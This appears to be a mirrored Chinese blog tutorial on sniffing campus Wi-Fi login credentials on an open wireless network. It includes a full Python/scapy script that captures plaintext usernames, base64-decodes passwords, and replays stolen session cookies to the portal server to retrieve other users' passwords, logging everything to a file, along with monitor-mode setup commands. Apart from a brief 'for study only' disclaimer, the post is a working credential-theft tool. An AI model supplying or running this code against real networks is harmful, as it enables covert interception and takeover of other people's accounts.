zoukankan      html  css  js  c++  java
  • 如何在开放无线网络中嗅探校园网密码

    校园网的认证方式

    *本文提及的方法仅供安全学习用途,禁止非法利用

    我们学校的无线校园网的认证方式不是wpa/wpa2,不是802.1x,只是单纯的web认证,在网页里输入学号和密码,post出去,你的这个mac地址就可以上网了。但是尽管需要认证,安全性还是等于零,数据还是没有加密的,我试着写了一个在无线校园网中嗅探校园网账号密码的小程序。

    使用了scapy和requests包。

    需要先知道怎么在开放无线网络中嗅探数据包,可以看上一篇文章

    初步分析认证过程

    所有认证服务都在校内某个认证服务器上,url为http://10.xxx.xx.xx/srun_portal_pc.php?ac_id=1&

    5FD5F618-3875-4B82-9A8A-2D62C9179E12.png

    上图为校园网的登陆框

    9E47E8F1-05E1-492E-9CD3-92828FE780B2.png

    chrome开发者工具查看认证发的包,post到了auth_action.php,同时带了一个cookie。

    用edit this cookie看了cookie的失效时间直接到了2018年(现在2017

    AE791405-F181-40C5-849A-C9F4014C5F02.png

    上图是post出去的data,username明文,password base64解一下就好了

    到此为止,我们就已经得到了嗅探校园网密码的方法,和嗅探其他的明文密码没什么区别,似乎只要查找一下username、password关键字都可以。

    继续分析认证交互

    实践过程中我发现由于周围ap很多,station也很多,sniff的时候只能抓到一次认证的’只言片语’。

    大多数情况下也就是一次认证的某一个http数据包,所以开始考虑还有没有别的方法可以拿到password。

    记住密码

    上面第一个图可以看到有一个记住密码按钮,但点上去的时候浏览器没有任何提示。

    如果打上了对勾,下次访问认证页面用户名密码都是填好的。

    换一个浏览器就不会出现用户名和密码。

    所以猜测用户名和密码可能隐藏在cookie里。

    cookie大概长这样:

    login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroYpuUwed%252BRbnyPYVrHGh7s%252FPoYr7fCjTjj%252FswD1WO61LAXLEfAnB6rfKMTMSqTA8Se6EnzfFjzP9eeD9NFR8hcJNnEXPrncV1qHlKsOS7DSZxdJpsAjtG0IgBL%252BaYiPbwi%252BQrXyaCJs88HzHwF91Vn5cSIjnNeER8blZ0frc%253D

    看了一眼就知道密码应该不在这里吧。。

    问问服务器

    当我把cookie删除,刷新页面,用户名和密码都会消失。

    再把cookie改回来,用户名和密码就会出现。

    所以认证服务器肯定根据cookie返回了我的用户名和密码。

    用requests进行验证:

    C37827BE-CFCC-43D6-8DD5-F1A1F705C186.png

    返回结果

    DBAF3A28-5F80-4AB5-96C7-E21343FA28A3.png

    用户名和密码就摆在这里了。

    所以现在我们又多了一条拿到用户名密码的途径,就是带着cookie问服务器。

    最后考虑哪里还有cookie

    1. 用户post出去的请求会带有cookie,但是密码已经在里面了

    2. 用户get请求网页的内容和文件等会带有cookie

    3. 当用户认证成功时,服务器返回带set-cookie的header中包含有cookie

    总结思路

    1. 当抓到client ==> server的数据包时

    1) 如果是GET请求,检查有没有Cookie存在。

    2) 如果是POST请求,直接把用户名和密码拿出来。

    2. 当抓到的是server ==> client的数据包时

    1) 检查是否有set-cookie头部,有的话取出来。

    最后如果有cookie被嗅探到,就带着cookie把向server索要一下密码。

    代码

    import requests
    import scapy_http.http as http
    from scapy.all import *
    from lxml import etree
    
    iface ='mon0'
    url = "http://10.xxx.xx.xx:801/srun_portal_pc.php?ac_id=1&"
    path = "/home/add/Desktop/"
    
    def prn(pkt):
    
    data = None
    headers = None
    
    #stat ==> ap
    if pkt.haslayer(http.HTTPRequest):
    #if post the username password
    if pkt.Method == 'POST' and 'username' in pkt.load:
    dt = {i.split("=")[0]:i.split("=")[1] for i in pkt.load.split("&")}
    data = ":::".join((dt["username"], dt['password'][3:].decode("base64"))) + '
    '
    print '[+]Get! Post data:%s %s'%(dt['username'], dt['password'])
    
    #if has cookie
    elif pkt.Cookie != None:
    headers = {'Cookie':pkt.Cookie}
    
    #ap ==> stat
    elif pkt.haslayer(http.HTTPResponse) and 'Set-Cookie' in pkt.load:
    #if cookie is set
    a = [i for i in pkt.load.split("
    ") if 'Set-Cookie' in i]
    headers = {'Cookie':a[0].split(": ")[1]}
    
    #request for the password with cookie
    if headers != None:
    try:
    con = requests.get(url, headers=headers).content
    data = ":::".join(etree.HTML(con).xpath("//input//@value")[6:8])+'
    '
    print '[+]Get! Cookie:%s'%headers['Cookie']
    except Exception,e:
    print e
    
    if data != None:
    with open(path + "schoolUserPwd.txt", "a") as txt:
    txt.write(data)
    
    def main():
    try:
    sniff(iface=iface, prn=prn, filter="ip host 10.xxx.xx.xx", store=0)
    #sniff(offline=path + "44335.pcap", prn=prn, filter="ip host 10.xxx.xx.xx")
    except KeyboardInterrupt, e:
    print "quitting"
    
    if __name__ == '__main__':
    main()

    导入的库

    requests用来向服务器请求

    scapy用来在无线网络中嗅探

    scapy_http用来对http协议更方便的解析

    lxml用来从服务器返回的html文件中,解析出来用户名和密码

    回调函数prn

    prn是sniff函数每过滤到一个符合条件的数据包时回调的函数,并将数据包本身作为参数传入。

    函数的逻辑和上文总结的思路相同,根据数据包的方向分开处理,得到密码或cookie

    代码中可以看到两个headers的赋值语句就是上文总结的两个拿cookie的地方。

    需要注意

    1. sniff的过滤用filter会快很多,之前的文章也有提到过。

    2. 由于我们既要嗅探,同时又要向服务器请求,所以airmon-ng check kill后不处理,很可能会导致上不去网然后报错。

    我一般先kill掉后,开启monitor模式,再将网卡调到信号最强的ap的信道上(iwconfig mon0 channel 1/2/3/…)

    最后再service network-manager start 打开网络管理的服务。

    结果

    运行之后的界面是这样哒

    F317449F-D811-4915-9EFA-A82EDA02C0A5.png

    最后都存到文件中了。

    但是由于有时候一次会嗅探到多个相同的数据包,或者偶尔真的抓到了一次完整的认证。

    文件中有很多重复的结果,可以另写一个去重的小程序来优化下。

  • 相关阅读:
    VIM快捷键(转)
    VIM中文乱码
    vsftpd.conf 联机手册
    keepalived nginx 主备配置
    Keepalived 主备配置
    Linux centos7 安装 keepalived-2.0.6
    Linux centos开机执行JAR Shell脚本
    Nginx负载均衡案例
    Windows虚拟机安装Linux系统
    Linux centos7 redis安装教程
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/6637893.html
Copyright © 2011-2022 走看看